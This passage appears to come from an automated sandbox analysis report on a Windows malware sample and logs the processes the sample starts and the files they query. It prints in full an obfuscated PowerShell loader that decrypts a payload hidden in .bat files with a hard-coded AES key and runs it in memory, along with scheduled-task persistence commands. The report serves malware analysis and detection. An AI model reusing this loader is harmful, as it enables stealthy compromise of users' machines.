$glxBv.Dispose(); $evPTP.Dispose(); $Tgngw.Dispose(); $Tgngw.ToArray();}function execute_function($param_var,$param2_var){ $RjrbO=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $tvMZN=$RjrbO.EntryPoint; $tvMZN.Invoke($null, $param2_var);}$dxXqn = 'C:\Users\user\AppData\Roaming\startup_str_521.bat';$host.UI.RawUI.WindowTitle = $dxXqn;$qVyct=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($dxXqn).Split([Environment]::NewLine);foreach ($CWzJO in $qVyct) { if ($CWzJO.StartsWith(':: ')) { $xStIY=$CWzJO.Substring(3); break; }}$payloads_var=[string[]]$xStIY.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));Jump to behavior
        Source: C:\Windows\System32\net.exeProcess created: C:\Windows\System32\net1.exe C:\Windows\system32\net1 fileJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\schtasks.exe "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "e45iasd" /tr "C:\Users\user\e45iasd.exe"Jump to behavior
        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[system.security.cryptography.aes]::create(); $aes_var.mode=[system.security.cryptography.ciphermode]::cbc; $aes_var.padding=[system.security.cryptography.paddingmode]::pkcs7; $aes_var.key=[system.convert]::('gnirts46esabmorf'[-1..-16] -join '')('6vdbmixfljlubix4k/vk2dkojhwwjjnbocegaik9ksk='); $aes_var.iv=[system.convert]::('gnirts46esabmorf'[-1..-16] -join '')('afgvni1e/dgznazyr1bq+q=='); $decryptor_var=$aes_var.createdecryptor(); $return_var=$decryptor_var.transformfinalblock($param_var, 0, $param_var.length); $decryptor_var.dispose(); $aes_var.dispose(); $return_var;}function decompress_function($param_var){ $evptp=new-object system.io.memorystream(,$param_var); $tgngw=new-object system.io.memorystream; $glxbv=new-object system.io.compression.gzipstream($evptp, [io.compression.compressionmode]::decompress); $glxbv.copyto($tgngw); $glxbv.dispose(); $evptp.dispose(); $tgngw.dispose(); $tgngw.toarray();}function execute_function($param_var,$param2_var){ $rjrbo=[system.reflection.assembly]::('daol'[-1..-4] -join '')([byte[]]$param_var); $tvmzn=$rjrbo.entrypoint; $tvmzn.invoke($null, $param2_var);}$dxxqn = 'c:\users\user\desktop\pollosaplicaccion.bat';$host.ui.rawui.windowtitle = $dxxqn;$qvyct=[system.io.file]::('txetlladaer'[-1..-11] -join '')($dxxqn).split([environment]::newline);foreach ($cwzjo in $qvyct) { if ($cwzjo.startswith(':: ')) { $xstiy=$cwzjo.substring(3); break; }}$payloads_var=[string[]]$xstiy.split('\');$payload1_var=decompress_function (decrypt_function ([convert]::('gnirts46esabmorf'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([convert]::('gnirts46esabmorf'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" register-scheduledtask -taskname 'runtimebroker_startup_521_str' -trigger (new-scheduledtasktrigger -atlogon) -action (new-scheduledtaskaction -execute 'c:\users\user\appdata\roaming\startup_str_521.vbs') -settings (new-scheduledtasksettingsset -allowstartifonbatteries -hidden -executiontimelimit 0) -runlevel highest -force
        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[system.security.cryptography.aes]::create(); $aes_var.mode=[system.security.cryptography.ciphermode]::cbc; $aes_var.padding=[system.security.cryptography.paddingmode]::pkcs7; $aes_var.key=[system.convert]::('gnirts46esabmorf'[-1..-16] -join '')('6vdbmixfljlubix4k/vk2dkojhwwjjnbocegaik9ksk='); $aes_var.iv=[system.convert]::('gnirts46esabmorf'[-1..-16] -join '')('afgvni1e/dgznazyr1bq+q=='); $decryptor_var=$aes_var.createdecryptor(); $return_var=$decryptor_var.transformfinalblock($param_var, 0, $param_var.length); $decryptor_var.dispose(); $aes_var.dispose(); $return_var;}function decompress_function($param_var){ $evptp=new-object system.io.memorystream(,$param_var); $tgngw=new-object system.io.memorystream; $glxbv=new-object system.io.compression.gzipstream($evptp, [io.compression.compressionmode]::decompress); $glxbv.copyto($tgngw); $glxbv.dispose(); $evptp.dispose(); $tgngw.dispose(); $tgngw.toarray();}function execute_function($param_var,$param2_var){ $rjrbo=[system.reflection.assembly]::('daol'[-1..-4] -join '')([byte[]]$param_var); $tvmzn=$rjrbo.entrypoint; $tvmzn.invoke($null, $param2_var);}$dxxqn = 'c:\users\user\appdata\roaming\startup_str_521.bat';$host.ui.rawui.windowtitle = $dxxqn;$qvyct=[system.io.file]::('txetlladaer'[-1..-11] -join '')($dxxqn).split([environment]::newline);foreach ($cwzjo in $qvyct) { if ($cwzjo.startswith(':: ')) { $xstiy=$cwzjo.substring(3); break; }}$payloads_var=[string[]]$xstiy.split('\');$payload1_var=decompress_function (decrypt_function ([convert]::('gnirts46esabmorf'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([convert]::('gnirts46esabmorf'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[system.security.cryptography.aes]::create(); $aes_var.mode=[system.security.cryptography.ciphermode]::cbc; $aes_var.padding=[system.security.cryptography.paddingmode]::pkcs7; $aes_var.key=[system.convert]::('gnirts46esabmorf'[-1..-16] -join '')('6vdbmixfljlubix4k/vk2dkojhwwjjnbocegaik9ksk='); $aes_var.iv=[system.convert]::('gnirts46esabmorf'[-1..-16] -join '')('afgvni1e/dgznazyr1bq+q=='); $decryptor_var=$aes_var.createdecryptor(); $return_var=$decryptor_var.transformfinalblock($param_var, 0, $param_var.length); $decryptor_var.dispose(); $aes_var.dispose(); $return_var;}function decompress_function($param_var){ $evptp=new-object system.io.memorystream(,$param_var); $tgngw=new-object system.io.memorystream; $glxbv=new-object system.io.compression.gzipstream($evptp, [io.compression.compressionmode]::decompress); $glxbv.copyto($tgngw); $glxbv.dispose(); $evptp.dispose(); $tgngw.dispose(); $tgngw.toarray();}function execute_function($param_var,$param2_var){ $rjrbo=[system.reflection.assembly]::('daol'[-1..-4] -join '')([byte[]]$param_var); $tvmzn=$rjrbo.entrypoint; $tvmzn.invoke($null, $param2_var);}$dxxqn = 'c:\users\user\desktop\pollosaplicaccion.bat';$host.ui.rawui.windowtitle = $dxxqn;$qvyct=[system.io.file]::('txetlladaer'[-1..-11] -join '')($dxxqn).split([environment]::newline);foreach ($cwzjo in $qvyct) { if ($cwzjo.startswith(':: ')) { $xstiy=$cwzjo.substring(3); break; }}$payloads_var=[string[]]$xstiy.split('\');$payload1_var=decompress_function (decrypt_function ([convert]::('gnirts46esabmorf'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([convert]::('gnirts46esabmorf'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));Jump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" register-scheduledtask -taskname 'runtimebroker_startup_521_str' -trigger (new-scheduledtasktrigger -atlogon) -action (new-scheduledtaskaction -execute 'c:\users\user\appdata\roaming\startup_str_521.vbs') -settings (new-scheduledtasksettingsset -allowstartifonbatteries -hidden -executiontimelimit 0) -runlevel highest -forceJump to behavior
        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[system.security.cryptography.aes]::create(); $aes_var.mode=[system.security.cryptography.ciphermode]::cbc; $aes_var.padding=[system.security.cryptography.paddingmode]::pkcs7; $aes_var.key=[system.convert]::('gnirts46esabmorf'[-1..-16] -join '')('6vdbmixfljlubix4k/vk2dkojhwwjjnbocegaik9ksk='); $aes_var.iv=[system.convert]::('gnirts46esabmorf'[-1..-16] -join '')('afgvni1e/dgznazyr1bq+q=='); $decryptor_var=$aes_var.createdecryptor(); $return_var=$decryptor_var.transformfinalblock($param_var, 0, $param_var.length); $decryptor_var.dispose(); $aes_var.dispose(); $return_var;}function decompress_function($param_var){ $evptp=new-object system.io.memorystream(,$param_var); $tgngw=new-object system.io.memorystream; $glxbv=new-object system.io.compression.gzipstream($evptp, [io.compression.compressionmode]::decompress); $glxbv.copyto($tgngw); $glxbv.dispose(); $evptp.dispose(); $tgngw.dispose(); $tgngw.toarray();}function execute_function($param_var,$param2_var){ $rjrbo=[system.reflection.assembly]::('daol'[-1..-4] -join '')([byte[]]$param_var); $tvmzn=$rjrbo.entrypoint; $tvmzn.invoke($null, $param2_var);}$dxxqn = 'c:\users\user\appdata\roaming\startup_str_521.bat';$host.ui.rawui.windowtitle = $dxxqn;$qvyct=[system.io.file]::('txetlladaer'[-1..-11] -join '')($dxxqn).split([environment]::newline);foreach ($cwzjo in $qvyct) { if ($cwzjo.startswith(':: ')) { $xstiy=$cwzjo.substring(3); break; }}$payloads_var=[string[]]$xstiy.split('\');$payload1_var=decompress_function (decrypt_function ([convert]::('gnirts46esabmorf'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([convert]::('gnirts46esabmorf'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));Jump to behavior
        Source: C:\Users\user\e45iasd.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion InstallDate
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformationJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformationJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformationJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformationJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformationJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformationJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformationJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformationJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformationJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformationJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformationJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformationJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformationJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformationJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Microsoft.PowerShell.LocalAccounts\1.0.0.0\Microsoft.PowerShell.LocalAccounts.dll VolumeInformationJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
